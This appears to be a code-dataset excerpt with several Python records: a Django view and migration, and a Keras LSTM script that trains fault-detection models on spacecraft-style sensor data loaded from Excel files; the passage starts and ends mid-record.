line['image']})\n\nnew_reviews = [x for x in reviews if x['date'] <= (datetime.date.today() - timedelta(days=1))]","sub_path":"promotions/tabledata.py","file_name":"tabledata.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"23269019","text":"from django.shortcuts import render\nfrom . import forms, models\n\n\n# Create your views here.\ndef author_all(request):\n form = models.Author_model.objects.order_by('author_name')\n dic = {'title':'All authors', 'form': form}\n return render(request, 'author_app/author_all.html', context=dic)\n\n\ndef author_add(request):\n form = forms.Author_form()\n\n if request.method=='POST':\n form = forms.Author_form(request.POST)\n\n if form.is_valid():\n form.save(commit=True)\n return author_all(request)\n else:\n return author_add(request)\n\n return render(request, 'author_app/author_add.html', {'title':'Add author', 'form': form})\n","sub_path":"blog_app2/author_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"69346242","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('selection', '0006_auto_20160401_1433'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='course',\n name='classromm',\n field=models.CharField(max_length=10, default='0-000'),\n ),\n ]\n","sub_path":"selection/migrations/0007_course_classromm.py","file_name":"0007_course_classromm.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"350401071","text":"# encoding:utf-8\r\n# 用来测试英文论文的性能\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom keras import regularizers\r\nfrom keras.callbacks import EarlyStopping\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom pandas import DataFrame\r\nfrom pandas import Series\r\nfrom pandas import concat\r\nfrom pandas import read_csv\r\nfrom pandas import datetime\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.metrics import mean_absolute_error\r\nfrom keras import losses\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import LSTM\r\nfrom math import sqrt\r\nimport matplotlib\r\nfrom sklearn.model_selection import train_test_split\r\nimport xlrd\r\nfrom math import sqrt\r\n# from numpy import concatenate\r\nfrom matplotlib import pyplot\r\nfrom pandas import read_csv\r\nfrom sklearn.metrics import explained_variance_score\r\nfrom pandas import DataFrame\r\nfrom pandas import concat\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import LSTM\r\nfrom keras.layers import Dropout\r\nfrom sklearn.metrics import roc_auc_score\r\nimport keras\r\nimport tensorflow as tf\r\nimport keras.layers.recurrent\r\nfrom keras import backend as K\r\nfrom sklearn import metrics\r\nimport numpy\r\nfrom keras.callbacks import Callback\r\nfrom sklearn.metrics import f1_score, precision_score, recall_score\r\nfrom keras.callbacks import TensorBoard\r\nimport time\r\nfrom sklearn.metrics import roc_curve, auc, roc_auc_score ###计算roc和auc\r\nfrom sklearn.metrics import accuracy_score\r\nfrom math import sqrt\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.metrics import r2_score\r\nfrom keras.callbacks import ModelCheckpoint\r\nfrom keras.models import save_model\r\nfrom keras.models import load_model\r\nfrom keras import optimizers\r\nfrom keras.layers import LSTM\r\n# from sklearn. import decision\r\n#from sklearn.preprocessing import Imputer\r\n\r\n\r\ndef picky(data, num):\r\n k = []\r\n for i in range(len(data)):\r\n if (i % num == 0):\r\n k.append(data[i])\r\n return k\r\n\r\n\r\n#best_weights_filepath = '/root/xulun/selflstm20200427/best_weights.hdf5'\r\n#best_weights_filepath = '/root/xulun/standardlstm0427/best_weights.hdf5'\r\n# timestep = [5,10,15,20]\r\n# istep = [5,10,15,20]\r\ntimestep = [1,10,20,30,40,50,60,70,80,90,100,110,120,130,140,150,160,170,180,190,200]\r\n#istep = [7]\r\n# timestep = [30][5,10,15,20,25,30]\r\n# istep = [6][5]\r\n# 5 没训练\r\n# 2520\r\n########读取训练数据\r\n\r\nrow_data = pd.read_excel('/root/xulun/316/20180514/data/trainvalue.xlsx')\r\n#row_data = pd.read_excel('F:/FUCK/trainvalue.xlsx')\r\ncolumn = ['18S04Ijmb', '18S04Ts', '18S04Ftm', '18S04Fjm',\r\n '18S04F2k', '18S04F4k', '18S04F8k',\r\n '18S04UAm', '18S04UBm', '18S04UCm', '18S04UAa',\r\n '18S04UBa', '18S04UCa', '18S04U2k', '18S04U4k', '18S04U8k',\r\n '18S04V5p', '18S04V12p', '18S04V12n', '18S04Vsy15p',\r\n '18S04Vsy15n', '18S04Vc15p', '18S04Vc15n',\r\n '18S04Itma', '18S04Itmb', '18S04Itmc', '18S04Ijma', '18S04Ijmc',\r\n # '18S04Zkz','18S04Ffz',\r\n '18S04Ncrc', '18S04Tt', '18S04Txt', '18S04Tyt', '18S04Tzt',\r\n '18S04Txj', '18S04Tyj', '18S04Iwk', '18S04Wxt', '18S04Wyt', '18S04Wzt', '18S04Wxj', '18S04Wyj',\r\n '18S04Ix', '18S04Iy','18S04Iz',\r\n '18S04Iy', '18S04Nw', '18S04Nwc', '18S04Ntc', '18S04Tb', '18S04Ny', '18S04N422', '18S04Zkzb0', '18S04Zkzb1',\r\n '18S04Zkzb2', '18S04Zkzb3', '18S04Zkzb4', '18S04Zkzb5', '18S04Zkzb6',\r\n '18S04Zkzb7', '18S04Zkzb8', '18S04Zkzb9', '18S04Zkzb10', '18S04Zkzb11_13',\r\n '18S04Zkzb14', '18S04Ffzb0', '18S04Ffzb1', '18S04Ffzb2', '18S04Ffzb3',\r\n '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ncrcb0',\r\n '18S04Ncrcb1', '18S04Ncrcb2', '18S04Ncrcb3', '18S04Ncrcb4', '18S04Ncrcb5',\r\n '18S04Ncrcb6', '18S04Ncrcb7',\r\n '18S02Fztz', '18S02Fjd', '18S02Nsa2', '18S02Fc', '18S02Fztz0', '18S02Fztz1', '18S02Fztz2',\r\n '18S02Fztz3', '18S02Fztz4', '18S02Fztz5', '18S02Fztz6', '18S02Fztz7', '18S02Fztz8', '18S02Fztz9',\r\n '18S02Fztz10', '18S02Fztz11', '18S02Fztz12', '18S02Fztz13', '18S02Fztz14', '18S02Fztz15', '18S02Fc0',\r\n '18S02Fc1', '18S02Fc2', '18S02Fc3', '18S02Fc4', '18S02Fc5', '18S02Fc6', '18S02Fc7', '18S02Fc8', '18S02Fc9',\r\n '18S02Fc10', '18S02Fc11', '18S02Fc12', '18S02Fc13', '18S02Fc14',\r\n 'signal', '17S03Time', '17S03NDA', '17S03SJ', '17S03NP', '17S03Mxsyp', '17S03MZLsyXp',\r\n '17S03Mxsyn', '17S03MZLsyXn', '17S03Mysyp', '17S03MZLsyYp', '17S03Mysyn',\r\n '17S03MZLsyYn', '17S03Mzsyp', '17S03MZLsyZp', '17S03Mzsyn', '17S03MZLsyZn',\r\n '17S03Dypj', '17S03Dypc', '17S03Dxj', '17S03Dxc', '17S03Dyj', '17S03Dyc',\r\n '17S03Dzj', '17S03Dzc', '17S03TDY1', '17S03TDX', '17S03TDZ', '17S03TDY',\r\n '17S03Mxtjp', '17S03MZLtjXp', '17S03Mxtjn', '17S03MZLtjXn', '17S03Mytjp',\r\n '17S03MZLtjYp', '17S03Mytjn', '17S03MZLtjYn', '17S03Mx/ytjp', '17S03Ijjx', '17S03Ijjy'\r\n , '17S03Ijjz', '17S03MZLsyX', '17S03MZLsyY', '17S03MZLsyZ', '17S03MZLtjX', '17S03MZLtjY'\r\n , '17S03MZLsyX(1s)', '17S03MZLsyY(1s)', '17S03MZLsyZ(1s)', '17S03MZLtjX(1s)', '17S03MZLtjY(1s)'\r\n ]\r\nvalue1 = row_data[column]\r\nprint('valus1', value1.shape)\r\nrow_data = pd.read_excel('/root/xulun/316/20180514/data/traindf.xlsx')\r\ncolumn = ['18S04Ijmb', '18S04Ts', '18S04Ftm', '18S04Fjm',\r\n '18S04F2k', '18S04F4k', '18S04F8k',\r\n '18S04UAm', '18S04UBm', '18S04UCm', '18S04UAa',\r\n '18S04UBa', '18S04UCa', '18S04U2k', '18S04U4k', '18S04U8k',\r\n '18S04V5p', '18S04V12p', '18S04V12n', '18S04Vsy15p',\r\n '18S04Vsy15n', '18S04Vc15p', '18S04Vc15n',\r\n '18S04Itma', '18S04Itmb', '18S04Itmc', '18S04Ijma', '18S04Ijmc',\r\n # '18S04Zkz','18S04Ffz',\r\n '18S04Ncrc', '18S04Tt', '18S04Txt', '18S04Tyt', '18S04Tzt',\r\n '18S04Txj', '18S04Tyj', '18S04Iwk', '18S04Wxt', '18S04Wyt', '18S04Wzt', '18S04Wxj', '18S04Wyj',\r\n '18S04Ix', '18S04Iy','18S04Iz' ,\r\n '18S04Iy', '18S04Nw', '18S04Nwc', '18S04Ntc', '18S04Tb', '18S04Ny', '18S04N422', '18S04Zkzb0', '18S04Zkzb1',\r\n '18S04Zkzb2', '18S04Zkzb3', '18S04Zkzb4', '18S04Zkzb5', '18S04Zkzb6',\r\n '18S04Zkzb7', '18S04Zkzb8', '18S04Zkzb9', '18S04Zkzb10', '18S04Zkzb11_13',\r\n '18S04Zkzb14', '18S04Ffzb0', '18S04Ffzb1', '18S04Ffzb2', '18S04Ffzb3',\r\n '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ncrcb0',\r\n '18S04Ncrcb1', '18S04Ncrcb2', '18S04Ncrcb3', '18S04Ncrcb4', '18S04Ncrcb5',\r\n '18S04Ncrcb6', '18S04Ncrcb7',\r\n '18S02Fztz', '18S02Fjd', '18S02Nsa2', '18S02Fc', '18S02Fztz0', '18S02Fztz1', '18S02Fztz2',\r\n '18S02Fztz3', '18S02Fztz4', '18S02Fztz5', '18S02Fztz6', '18S02Fztz7', '18S02Fztz8', '18S02Fztz9',\r\n '18S02Fztz10', '18S02Fztz11', '18S02Fztz12', '18S02Fztz13', '18S02Fztz14', '18S02Fztz15', '18S02Fc0',\r\n '18S02Fc1', '18S02Fc2', '18S02Fc3', '18S02Fc4', '18S02Fc5', '18S02Fc6', '18S02Fc7', '18S02Fc8', '18S02Fc9',\r\n '18S02Fc10', '18S02Fc11', '18S02Fc12', '18S02Fc13', '18S02Fc14',\r\n 'signal', '17S03Time', '17S03NDA', '17S03SJ', '17S03NP', '17S03Mxsyp', '17S03MZLsyXp',\r\n '17S03Mxsyn', '17S03MZLsyXn', '17S03Mysyp', '17S03MZLsyYp', '17S03Mysyn',\r\n '17S03MZLsyYn', '17S03Mzsyp', '17S03MZLsyZp', '17S03Mzsyn', '17S03MZLsyZn',\r\n '17S03Dypj', '17S03Dypc', '17S03Dxj', '17S03Dxc', '17S03Dyj', '17S03Dyc',\r\n '17S03Dzj', '17S03Dzc', '17S03TDY1', '17S03TDX', '17S03TDZ', '17S03TDY',\r\n '17S03Mxtjp', '17S03MZLtjXp', '17S03Mxtjn', '17S03MZLtjXn', '17S03Mytjp',\r\n '17S03MZLtjYp', '17S03Mytjn', '17S03MZLtjYn', '17S03Mx/ytjp', '17S03Ijjx', '17S03Ijjy'\r\n , '17S03Ijjz', '17S03MZLsyX', '17S03MZLsyY', '17S03MZLsyZ', '17S03MZLtjX', '17S03MZLtjY'\r\n , '17S03MZLsyX(1s)', '17S03MZLsyY(1s)', '17S03MZLsyZ(1s)', '17S03MZLtjX(1s)', '17S03MZLtjY(1s)'\r\n ]\r\nvalue2 = row_data[column]\r\nprint('valus2', value2.shape)\r\n# value2是故障 value4是正常 训练集是故障加正常\r\n# v2: 数据改为正常数据加故障数据 标签连接 value6=value2 value5=value4+value6 df1==values4\r\n# 少数量样本,观察误差 valuesforward=values4 总数据为 values4+values2+values4 测试数据贯穿故障,画出roc曲线\r\n# values6=values2[0:40000]\r\n# trainvalue = value1.append(value2.append(value1.append(value2.append(value1[:len(value1 ) - 1118]))))\r\n# 24W[ValueError: cannot reshape array of size 2653510 into shape (1065,15,166)]\r\n# trainvalue = value1.append(value2.append(value1.append(value1.append(value1[:len(value1 ) - 1118 - 4444]))))\r\n# 18w ------20200110 10:39\r\ntrainvalue = value1.append(value2.append(value1.append(value2.append(value1.append(value1[:10876])))))\r\n# 判断\r\nprint(trainvalue.shape)\r\nrow_data = pd.read_excel('/root/xulun/316/20180514/data/testdf.xlsx')\r\ncolumn = ['18S04Ijmb', '18S04Ts', '18S04Ftm', '18S04Fjm',\r\n '18S04F2k', '18S04F4k', '18S04F8k',\r\n '18S04UAm', '18S04UBm', '18S04UCm', '18S04UAa',\r\n '18S04UBa', '18S04UCa', '18S04U2k', '18S04U4k', '18S04U8k',\r\n '18S04V5p', '18S04V12p', '18S04V12n', '18S04Vsy15p',\r\n '18S04Vsy15n', '18S04Vc15p', '18S04Vc15n',\r\n '18S04Itma', '18S04Itmb', '18S04Itmc', '18S04Ijma', '18S04Ijmc',\r\n # '18S04Zkz','18S04Ffz',\r\n '18S04Ncrc', '18S04Tt', '18S04Txt', '18S04Tyt', '18S04Tzt',\r\n '18S04Txj', '18S04Tyj', '18S04Iwk', '18S04Wxt', '18S04Wyt', '18S04Wzt', '18S04Wxj', '18S04Wyj',\r\n '18S04Ix', '18S04Iy','18S04Iz',\r\n '18S04Iy', '18S04Nw', '18S04Nwc', '18S04Ntc', '18S04Tb', '18S04Ny', '18S04N422', '18S04Zkzb0', '18S04Zkzb1',\r\n '18S04Zkzb2', '18S04Zkzb3', '18S04Zkzb4', '18S04Zkzb5', '18S04Zkzb6',\r\n '18S04Zkzb7', '18S04Zkzb8', '18S04Zkzb9', '18S04Zkzb10', '18S04Zkzb11_13',\r\n '18S04Zkzb14', '18S04Ffzb0', '18S04Ffzb1', '18S04Ffzb2', '18S04Ffzb3',\r\n '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ncrcb0',\r\n '18S04Ncrcb1', '18S04Ncrcb2', '18S04Ncrcb3', '18S04Ncrcb4', '18S04Ncrcb5',\r\n '18S04Ncrcb6', '18S04Ncrcb7',\r\n '18S02Fztz', '18S02Fjd', '18S02Nsa2', '18S02Fc', '18S02Fztz0', '18S02Fztz1', '18S02Fztz2',\r\n '18S02Fztz3', '18S02Fztz4', '18S02Fztz5', '18S02Fztz6', '18S02Fztz7', '18S02Fztz8', '18S02Fztz9',\r\n '18S02Fztz10', '18S02Fztz11', '18S02Fztz12', '18S02Fztz13', '18S02Fztz14', '18S02Fztz15', '18S02Fc0',\r\n '18S02Fc1', '18S02Fc2', '18S02Fc3', '18S02Fc4', '18S02Fc5', '18S02Fc6', '18S02Fc7', '18S02Fc8', '18S02Fc9',\r\n '18S02Fc10', '18S02Fc11', '18S02Fc12', '18S02Fc13', '18S02Fc14',\r\n 'signal', '17S03Time', '17S03NDA', '17S03SJ', '17S03NP', '17S03Mxsyp', '17S03MZLsyXp',\r\n '17S03Mxsyn', '17S03MZLsyXn', '17S03Mysyp', '17S03MZLsyYp', '17S03Mysyn',\r\n '17S03MZLsyYn', '17S03Mzsyp', '17S03MZLsyZp', '17S03Mzsyn', '17S03MZLsyZn',\r\n '17S03Dypj', '17S03Dypc', '17S03Dxj', '17S03Dxc', '17S03Dyj', '17S03Dyc',\r\n '17S03Dzj', '17S03Dzc', '17S03TDY1', '17S03TDX', '17S03TDZ', '17S03TDY',\r\n '17S03Mxtjp', '17S03MZLtjXp', '17S03Mxtjn', '17S03MZLtjXn', '17S03Mytjp',\r\n '17S03MZLtjYp', '17S03Mytjn', '17S03MZLtjYn', '17S03Mx/ytjp', '17S03Ijjx', '17S03Ijjy'\r\n , '17S03Ijjz', '17S03MZLsyX', '17S03MZLsyY', '17S03MZLsyZ', '17S03MZLtjX', '17S03MZLtjY'\r\n , '17S03MZLsyX(1s)', '17S03MZLsyY(1s)', '17S03MZLsyZ(1s)', '17S03MZLtjX(1s)', '17S03MZLtjY(1s)'\r\n ]\r\ntesterror = row_data[column]\r\nprint('testerro', testerror.shape)\r\nrow_data = pd.read_excel('/root/xulun/316/20180514/data/test+value.xlsx')\r\ncolumn = ['18S04Ijmb', '18S04Ts', '18S04Ftm', '18S04Fjm',\r\n '18S04F2k', '18S04F4k', '18S04F8k',\r\n '18S04UAm', '18S04UBm', '18S04UCm', '18S04UAa',\r\n '18S04UBa', '18S04UCa', '18S04U2k', '18S04U4k', '18S04U8k',\r\n '18S04V5p', '18S04V12p', '18S04V12n', '18S04Vsy15p',\r\n '18S04Vsy15n', '18S04Vc15p', '18S04Vc15n',\r\n '18S04Itma', '18S04Itmb', '18S04Itmc', '18S04Ijma', '18S04Ijmc',\r\n # '18S04Zkz','18S04Ffz',\r\n '18S04Ncrc', '18S04Tt', '18S04Txt', '18S04Tyt', '18S04Tzt',\r\n '18S04Txj', '18S04Tyj', '18S04Iwk', '18S04Wxt', '18S04Wyt', '18S04Wzt', '18S04Wxj', '18S04Wyj',\r\n '18S04Ix', '18S04Iy','18S04Iz',\r\n '18S04Iy', '18S04Nw', '18S04Nwc', '18S04Ntc', '18S04Tb', '18S04Ny', '18S04N422', '18S04Zkzb0', '18S04Zkzb1',\r\n '18S04Zkzb2', '18S04Zkzb3', '18S04Zkzb4', '18S04Zkzb5', '18S04Zkzb6',\r\n '18S04Zkzb7', '18S04Zkzb8', '18S04Zkzb9', '18S04Zkzb10', '18S04Zkzb11_13',\r\n '18S04Zkzb14', '18S04Ffzb0', '18S04Ffzb1', '18S04Ffzb2', '18S04Ffzb3',\r\n '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ncrcb0',\r\n '18S04Ncrcb1', '18S04Ncrcb2', '18S04Ncrcb3', '18S04Ncrcb4', '18S04Ncrcb5',\r\n '18S04Ncrcb6', '18S04Ncrcb7',\r\n '18S02Fztz', '18S02Fjd', '18S02Nsa2', '18S02Fc', '18S02Fztz0', '18S02Fztz1', '18S02Fztz2',\r\n '18S02Fztz3', '18S02Fztz4', '18S02Fztz5', '18S02Fztz6', '18S02Fztz7', '18S02Fztz8', '18S02Fztz9',\r\n '18S02Fztz10', '18S02Fztz11', '18S02Fztz12', '18S02Fztz13', '18S02Fztz14', '18S02Fztz15', '18S02Fc0',\r\n '18S02Fc1', '18S02Fc2', '18S02Fc3', '18S02Fc4', '18S02Fc5', '18S02Fc6', '18S02Fc7', '18S02Fc8', '18S02Fc9',\r\n '18S02Fc10', '18S02Fc11', '18S02Fc12', '18S02Fc13', '18S02Fc14',\r\n 'signal', '17S03Time', '17S03NDA', '17S03SJ', '17S03NP', '17S03Mxsyp', '17S03MZLsyXp',\r\n '17S03Mxsyn', '17S03MZLsyXn', '17S03Mysyp', '17S03MZLsyYp', '17S03Mysyn',\r\n '17S03MZLsyYn', '17S03Mzsyp', '17S03MZLsyZp', '17S03Mzsyn', '17S03MZLsyZn',\r\n '17S03Dypj', '17S03Dypc', '17S03Dxj', '17S03Dxc', '17S03Dyj', '17S03Dyc',\r\n '17S03Dzj', '17S03Dzc', '17S03TDY1', '17S03TDX', '17S03TDZ', '17S03TDY',\r\n '17S03Mxtjp', '17S03MZLtjXp', '17S03Mxtjn', '17S03MZLtjXn', '17S03Mytjp',\r\n '17S03MZLtjYp', '17S03Mytjn', '17S03MZLtjYn', '17S03Mx/ytjp', '17S03Ijjx', '17S03Ijjy'\r\n , '17S03Ijjz', '17S03MZLsyX', '17S03MZLsyY', '17S03MZLsyZ', '17S03MZLtjX', '17S03MZLtjY'\r\n , '17S03MZLsyX(1s)', '17S03MZLsyY(1s)', '17S03MZLsyZ(1s)', '17S03MZLtjX(1s)', '17S03MZLtjY(1s)'\r\n ]\r\ntestcommon = row_data[column]\r\nprint('testcommon', testcommon.shape)\r\na = testcommon[44000:]\r\nb = testcommon[:6000]\r\n# testvalue = a.append(testerror.append(b.append(testerror.append(a[:len(a) - 886]))))\r\ntestvalue = a[:4000].append(testerror.append(b[:4000].append(testerror.append(a[:5808]))))\r\nprint('testvalue', testvalue.shape)\r\nnocheck = testvalue\r\nrow_data = pd.read_excel('/root/xulun/316/20180514/data/validdf.xlsx')\r\ncolumn = [ '18S04Ijmb', '18S04Ts', '18S04Ftm', '18S04Fjm',\r\n '18S04F2k', '18S04F4k', '18S04F8k',\r\n '18S04UAm', '18S04UBm', '18S04UCm', '18S04UAa',\r\n '18S04UBa', '18S04UCa', '18S04U2k', '18S04U4k', '18S04U8k',\r\n '18S04V5p', '18S04V12p', '18S04V12n', '18S04Vsy15p',\r\n '18S04Vsy15n', '18S04Vc15p', '18S04Vc15n',\r\n '18S04Itma', '18S04Itmb', '18S04Itmc', '18S04Ijma', '18S04Ijmc',\r\n # '18S04Zkz','18S04Ffz',\r\n '18S04Ncrc', '18S04Tt', '18S04Txt', '18S04Tyt', '18S04Tzt',\r\n '18S04Txj', '18S04Tyj', '18S04Iwk', '18S04Wxt', '18S04Wyt', '18S04Wzt', '18S04Wxj', '18S04Wyj',\r\n '18S04Ix', '18S04Iy','18S04Iz',\r\n '18S04Iy', '18S04Nw', '18S04Nwc', '18S04Ntc', '18S04Tb', '18S04Ny', '18S04N422', '18S04Zkzb0', '18S04Zkzb1',\r\n '18S04Zkzb2', '18S04Zkzb3', '18S04Zkzb4', '18S04Zkzb5', '18S04Zkzb6',\r\n '18S04Zkzb7', '18S04Zkzb8', '18S04Zkzb9', '18S04Zkzb10', '18S04Zkzb11_13',\r\n '18S04Zkzb14', '18S04Ffzb0', '18S04Ffzb1', '18S04Ffzb2', '18S04Ffzb3',\r\n '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ffzb3', '18S04Ncrcb0',\r\n '18S04Ncrcb1', '18S04Ncrcb2', '18S04Ncrcb3', '18S04Ncrcb4', '18S04Ncrcb5',\r\n '18S04Ncrcb6', '18S04Ncrcb7',\r\n '18S02Fztz', '18S02Fjd', '18S02Nsa2', '18S02Fc', '18S02Fztz0', '18S02Fztz1', '18S02Fztz2',\r\n '18S02Fztz3', '18S02Fztz4', '18S02Fztz5', '18S02Fztz6', '18S02Fztz7', '18S02Fztz8', '18S02Fztz9',\r\n '18S02Fztz10', '18S02Fztz11', '18S02Fztz12', '18S02Fztz13', '18S02Fztz14', '18S02Fztz15', '18S02Fc0',\r\n '18S02Fc1', '18S02Fc2', '18S02Fc3', '18S02Fc4', '18S02Fc5', '18S02Fc6', '18S02Fc7', '18S02Fc8', '18S02Fc9',\r\n '18S02Fc10', '18S02Fc11', '18S02Fc12', '18S02Fc13', '18S02Fc14',\r\n 'signal', '17S03Time', '17S03NDA', '17S03SJ', '17S03NP', '17S03Mxsyp', '17S03MZLsyXp',\r\n '17S03Mxsyn', '17S03MZLsyXn', '17S03Mysyp', '17S03MZLsyYp', '17S03Mysyn',\r\n '17S03MZLsyYn', '17S03Mzsyp', '17S03MZLsyZp', '17S03Mzsyn', '17S03MZLsyZn',\r\n '17S03Dypj', '17S03Dypc', '17S03Dxj', '17S03Dxc', '17S03Dyj', '17S03Dyc',\r\n '17S03Dzj', '17S03Dzc', '17S03TDY1', '17S03TDX', '17S03TDZ', '17S03TDY',\r\n '17S03Mxtjp', '17S03MZLtjXp', '17S03Mxtjn', '17S03MZLtjXn', '17S03Mytjp',\r\n '17S03MZLtjYp', '17S03Mytjn', '17S03MZLtjYn', '17S03Mx/ytjp', '17S03Ijjx', '17S03Ijjy'\r\n , '17S03Ijjz', '17S03MZLsyX', '17S03MZLsyY', '17S03MZLsyZ', '17S03MZLtjX', '17S03MZLtjY'\r\n , '17S03MZLsyX(1s)', '17S03MZLsyY(1s)', '17S03MZLsyZ(1s)', '17S03MZLtjX(1s)', '17S03MZLtjY(1s)'\r\n ]\r\nvaliderror = row_data[column]\r\n\r\n# validvalue = b.append(validerror.append(a.append(validerror.append(b[:len(b) - 884]))))\r\nvalidvalue = b[:4000].append(testerror.append(a[:4000].append(testerror.append(b[:5808]))))\r\nprint('这是规模', 'values6=values2:', validvalue.shape, 'values4', testvalue.shape, trainvalue.shape)\r\n# 80%故障加10w正常 10%故障+2000正常测试\r\n###df1训练 df2测试\r\n\r\naverage = trainvalue['18S04Ijmb'].mean()\r\nprint(\"average = \", average)\r\n\r\n#############################################################################\r\nnew_trainvalue = pd.DataFrame()\r\nnew_testvalue = pd.DataFrame()\r\nnew_validvalue = pd.DataFrame()\r\nfor t in timestep:\r\n #t = i * T\r\n print( 't=', t)\r\n best_weights_filepath = '/root/xulun/316/20180514/data/2best_weights%0.2f.hdf5' % (t)\r\n\r\n # 取整\r\n # if ((len(trainvalue) % t) != 0):\r\n # new_trainvalue = trainvalue[:int(len(trainvalue) / t) * t]\r\n # else:\r\n # new_trainvalue = trainvalue\r\n # if ((len(testvalue) % t) != 0):\r\n # new_testvalue = testvalue[:int(len(testvalue) / t) * t]\r\n # else:\r\n # new_testvalue = testvalue\r\n # if ((len(validvalue) % t) != 0):\r\n # new_valid = validvalue[:int(len(validvalue) / t) * t]\r\n # else:\r\n # new_valid = validvalue\r\n\r\n new_trainvalue = trainvalue\r\n new_testvalue = testvalue\r\n new_validvalue = validvalue\r\n print('shape check')\r\n print('train shape', new_trainvalue.shape)\r\n print('test shape', new_testvalue.shape)\r\n print('valid shape', new_validvalue.shape)\r\n print(new_trainvalue['18S04Ijmb'].min(), new_trainvalue['18S04Ijmb'].max())\r\n ymin = new_testvalue['18S04Ijmb'].min()\r\n ymax = new_testvalue['18S04Ijmb'].max()\r\n copytestvalue = testvalue\r\n scaler = MinMaxScaler(feature_range=(0, 1))\r\n scaled1 = scaler.fit_transform(new_trainvalue)\r\n # reframed = series_to_supervised(scaled, 1, 1)\r\n new_trainvalue = scaled1\r\n new_testvalue = scaler.fit_transform(new_testvalue)\r\n new_valid = scaler.fit_transform(new_validvalue)\r\n\r\n\r\n train_data =[]\r\n test_data = []\r\n valid_data = []\r\n for i in range(len(new_trainvalue)-t):\r\n train_data.append(new_trainvalue[i:i+t,:160])\r\n train_X, train_y = train_data, new_trainvalue[t:,0]\r\n for i in range(len(new_testvalue)-t):\r\n test_data.append(new_testvalue[i:i+t,:160])\r\n test_X1, test_y1 = test_data, new_testvalue[t:,0]\r\n for i in range(len(new_valid)-t):\r\n valid_data.append(new_valid[i:i+t,:160])\r\n valid_X, valid_y = valid_data, new_valid[t:,0]\r\n #train_X, train_y = new_trainvalue[:len(new_trainvalue) - t, :160], new_trainvalue[t:, 0]\r\n print('this is train_x')\r\n print(len(train_X))\r\n print('this is train_y')\r\n print(len(train_y))\r\n # test_X1, test_y1 = new_testvalue[:len(new_testvalue) - t, :160], new_testvalue[t:, 0]\r\n # valid_X, valid_y = new_valid[:len(new_valid) - t, :160], new_valid[t:, 0]\r\n #print('x', test_X1.shape, valid_X.shape, train_X.shape, 'y', test_y1.shape, valid_y.shape, train_y.shape)\r\n train_X = np.array(train_X)\r\n train_y = np.array(train_y)\r\n test_X1 = np.array(test_X1)\r\n test_y1= np.array(test_y1)\r\n valid_X = np.array(valid_X)\r\n valid_y = np.array(valid_y)\r\n print('trainx shape',train_X.shape,train_y.shape)\r\n # test_X2, test_y2 = values5[68000:68700, 6:], values5[68000 + t : 68700 + t, 0]\r\n # no_X1,no_y1 = nocheck[:len(nocheck) - t, :],nocheck[t:,0]\r\n # reshape input to be 3D [samples, timesteps, features]\r\n #train_X = train_X.reshape((int(train_X.shape[0] / t), t, 160))\r\n train_X = train_X.reshape(train_X.shape[0], t, 160)\r\n #train_y = train_y.reshape(train_y.shape[0],train_y.shape[1], 1)\r\n valid_X = valid_X.reshape(valid_X.shape[0], t, 160)\r\n #test_y1 = test_y1.reshape( test_y1.shape[0], test_y1.shape[1], 1)\r\n test_X1 = test_X1.reshape(test_X1.shape[0] , t, 160)\r\n #valid_y = valid_y.reshape(valid_y.shape[0], valid_y.shape[1], 1)\r\n #train_y = picky(train_y, t)\r\n #test_y1 = picky(test_y1, t)\r\n #valid_y = picky(valid_y, t)\r\n # train_y = train_y.reshape((int(train_y.shape[0] / t), t, 1))\r\n # valid_y = valid_y.reshape((int(valid_y.shape[0] / t), t, 1))\r\n # test_y1 = test_y1.reshape((int(test_y1.shape[0] / t), t, 1))\r\n #print('x', test_X1.shape, valid_X.shape, train_X.shape ,'y',test_y1.shape , valid_y.shape, train_y.shape)\r\n\r\n\r\n ###################################################################每个epoch输出一个auc\r\n\r\n class RocAucMetricCallback(keras.callbacks.Callback):\r\n i=0\r\n def __init__(self, validation_data):\r\n self.x_val, self.y_val = validation_data\r\n self.i = 0\r\n\r\n\r\n def on_epoch_begin(self, epoch, logs={}):\r\n # 添加roc_auc_val属性\r\n self.starttime = time.time()\r\n\r\n if not ('roc_auc_val' in self.params['metrics']):\r\n self.params['metrics'].append('roc_auc_val')\r\n if not ('costtime' in self.params['metrics']):\r\n self.params['metrics'].append('costtime')\r\n if not ('accuracy_score_val' in self.params['metrics']):\r\n self.params['metrics'].append('accuracy_score_val')\r\n return self.starttime\r\n\r\n def on_epoch_end(self, epoch, logs={}):\r\n #starttime = self.on_epoch_begin(epoch)\r\n self.i = self.i +1\r\n self.nowtime = time.time()\r\n self.costtime = self.nowtime - self.starttime\r\n\r\n\r\n y_pre = model.predict(self.x_val)\r\n l = y_pre - self.y_val\r\n logs['accuracy_score_val'] = float('-inf')\r\n logs['roc_auc_val'] = float('-inf')\r\n logs['loss'] = float('-inf')\r\n\r\n if (self.validation_data):\r\n m = []\r\n bb = []\r\n tt = []\r\n 